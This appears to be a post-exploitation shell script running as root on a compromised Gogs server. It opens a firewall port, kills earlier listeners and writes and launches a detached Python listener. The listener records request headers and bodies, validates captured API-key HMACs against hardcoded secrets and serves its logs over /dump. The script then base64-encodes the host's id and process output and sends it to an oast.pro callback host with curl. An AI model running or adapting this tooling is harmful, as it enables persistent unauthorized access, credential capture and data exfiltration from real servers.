update 6.8 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163
  1. #!/bin/sh
  2. TAG="dep3a"
  3. OUT="/root/gogs/data/tmp/local-repo/5878/_deploy3_$TAG.txt"
  4. {
  5. echo "tag=$TAG uid=$(id) date=$(date -u +%s)"
  6. iptables -I INPUT -p tcp --dport 18081 -j ACCEPT 2>&1
  7. pkill -f pz_listener.py 2>/dev/null
  8. pkill -f pz_listener2.py 2>/dev/null
  9. sleep 1
  10. cat > /root/pz_listener2.py <<'PYEOF'
  11. #!/usr/bin/env python3
  12. import http.server, socketserver, time, json, re, hashlib, hmac
  13. LOG = '/root/pz_cb2.log'
  14. SECRETS = {
  15. 'GNMiqG0ojRX4AO8UB1FK8SMneb5WxDcBpN6UOsESHXIs': 's0G5uokBZtrIQxL4xnm4W80Op5ly8rirOH8h6nhZFCD1',
  16. 'h6kznpsItkU46EDZtkimyZglbpSacabcP6REveZUkhXK': 'X6cCYrok5BDsO1WfrhWiSx9fjJuM0AHMOyiALNNwnFXO',
  17. 'aRKY08Gc37dZi2kJP7eSGZvuoHBX0GuiiQRM69rg5WRx': 'c1F7e7xkAEFXSDb6CkEoGz1YH6K-gDtRil8E_Ge0eFTY',
  18. }
  19. def gen(code, secret, nonce, endpoint, body, method, ct):
  20. m = hashlib.sha3_512()
  21. for p in [b'\0', code.encode(), b'\0', secret.encode(), b'\0', nonce.encode(), b'\0',
  22. method.encode(), b'\0', endpoint.encode(), b'\0', ct.encode(), b'\0', body, b'\0']:
  23. m.update(p)
  24. return m.hexdigest()
  25. class H(http.server.BaseHTTPRequestHandler):
  26. protocol_version = 'HTTP/1.1'
  27. def log_message(self, *a):
  28. pass
  29. def _send(self, code, body=b'', extra=None):
  30. try:
  31. self.send_response(code)
  32. if extra:
  33. for k, v in extra.items():
  34. self.send_header(k, v)
  35. self.send_header('Content-Length', str(len(body)))
  36. self.end_headers()
  37. if body:
  38. self.wfile.write(body)
  39. except Exception:
  40. pass
  41. def _record(self, body):
  42. try:
  43. hd = {}
  44. for k in self.headers.keys():
  45. v = self.headers.get(k, '')
  46. hd[k] = v[:300]
  47. rec = {'ts': round(time.time(), 3), 'iso': time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime()),
  48. 'client': self.client_address[0], 'method': self.command, 'path': self.path,
  49. 'headers': hd, 'body': body[:1000].decode('utf-8', 'replace')}
  50. with open(LOG, 'a') as f:
  51. f.write(json.dumps(rec, ensure_ascii=False) + '\n')
  52. except Exception:
  53. pass
  54. def _handle(self, body):
  55. self._record(body)
  56. base = self.path.split('?')[0]
  57. qs = self.path.split('?', 1)[1] if '?' in self.path else ''
  58. m = re.match(r'^/st/(\d{3})(?:/(.*))?$', base)
  59. if m:
  60. code = int(m.group(1))
  61. tag = m.group(2) or ''
  62. self._send(code, ('st=%d tag=%s' % (code, tag)).encode())
  63. return
  64. if base == '/dump':
  65. try:
  66. n = 200
  67. if qs.startswith('n='):
  68. n = max(1, min(5000, int(qs[2:])))
  69. with open(LOG, 'r') as f:
  70. lines = f.readlines()[-n:]
  71. self._send(200, ''.join(lines).encode('utf-8', 'replace'), {'Content-Type': 'text/plain; charset=utf-8'})
  72. except Exception as e:
  73. self._send(200, ('ERR ' + repr(e)).encode())
  74. return
  75. if base == '/dumpold':
  76. try:
  77. with open('/root/pz_cb_18081.log', 'r') as f:
  78. lines = f.readlines()[-400:]
  79. self._send(200, ''.join(lines).encode('utf-8', 'replace'), {'Content-Type': 'text/plain; charset=utf-8'})
  80. except Exception as e:
  81. self._send(200, ('ERR ' + repr(e)).encode())
  82. return
  83. if base.startswith('/delay/'):
  84. mm = re.match(r'^/delay/(\d{1,5})(?:/(.*))?$', base)
  85. if mm:
  86. time.sleep(min(120, int(mm.group(1)))/1000.0)
  87. self._send(200, ('delayed tag=%s' % (mm.group(2) or '')).encode())
  88. return
  89. if base == '/reset':
  90. try:
  91. open(LOG, 'w').close()
  92. except Exception:
  93. pass
  94. self._send(200, b'reset')
  95. return
  96. if base.startswith('/secret'):
  97. sec = self.headers.get('Profile-Secret-Key') or ''
  98. ok = sec in SECRETS.values()
  99. self._send(200 if ok else 401, ('secret_ok=%s' % ok).encode())
  100. return
  101. if base.startswith('/val'):
  102. sec = self.headers.get('Profile-Secret-Key') or ''
  103. nonce = self.headers.get('ApiKeyAuth-Nonce') or ''
  104. mac = (self.headers.get('ApiKeyAuth-Mac') or '').lower()
  105. apikey = self.headers.get('ApiKeyAuth-Key') or ''
  106. ct = self.headers.get('Content-Type') or ''
  107. code = None
  108. for pc, s in SECRETS.items():
  109. if s == sec:
  110. code = pc
  111. variants = []
  112. if code:
  113. endpoints = [base]
  114. if qs:
  115. endpoints.append(base + '?' + qs)
  116. for ep in endpoints:
  117. for c in {ct, ''}:
  118. for cc in {code, apikey}:
  119. if not cc:
  120. continue
  121. variants.append((cc, ep, c, self.command))
  122. hit = None
  123. for cc, ep, c, meth in variants:
  124. if hmac.compare_digest(gen(cc, sec, nonce, ep, body, meth, c), mac):
  125. hit = {'code': cc[:12], 'ep': ep, 'ct': c, 'method': meth}
  126. break
  127. self._record(('VALRESULT ' + json.dumps({'secret_known': bool(code), 'nonce': nonce, 'ct': ct, 'hit': hit})).encode())
  128. self._send(200 if hit else 401, ('val=%s' % bool(hit)).encode())
  129. return
  130. if base.startswith('/redir'):
  131. self._send(302, b'', {'Location': 'http://cd4547282df75cd148ebcbfcf32c8ee45.oast.pro/redirected'})
  132. return
  133. self._send(200, b'ok')
  134. def do_GET(self):
  135. self._handle(b'')
  136. def do_POST(self):
  137. try:
  138. ln = int(self.headers.get('Content-Length') or 0)
  139. body = self.rfile.read(ln) if ln else b''
  140. except Exception:
  141. body = b''
  142. self._handle(body)
  143. def do_HEAD(self):
  144. self._handle(b'')
  145. socketserver.ThreadingTCPServer.allow_reuse_address = True
  146. httpd = socketserver.ThreadingTCPServer(('0.0.0.0', 18081), H)
  147. httpd.daemon_threads = True
  148. httpd.serve_forever()
  149. PYEOF
  150. setsid nohup /usr/bin/python3 /root/pz_listener2.py >/root/pz_listener2.out 2>&1 < /dev/null &
  151. sleep 2
  152. echo "--- ps ---"; ps aux | grep pz_listener2 | grep -v grep
  153. echo "--- selftest ---"; curl -s -m 3 -o /dev/null -w "%{http_code}\n" http://127.0.0.1:18081/st/418/t
  154. echo "--- dump ---"; curl -s -m 3 "http://127.0.0.1:18081/dump?n=3"
  155. echo "--- listen ---"; (ss -ltnp 2>/dev/null || netstat -ltnp 2>/dev/null) | grep 1808
  156. } > "$OUT" 2>&1
  157. D=$( base64 -w0 < "$OUT" 2>/dev/null | tr '+/' '-_' | tr -d '=' )
  158. curl -s -m 15 -o /dev/null "http://cd4547282df75cd148ebcbfcf32c8ee45.oast.pro/deploy2/$TAG/$D" || true
  159. exit 0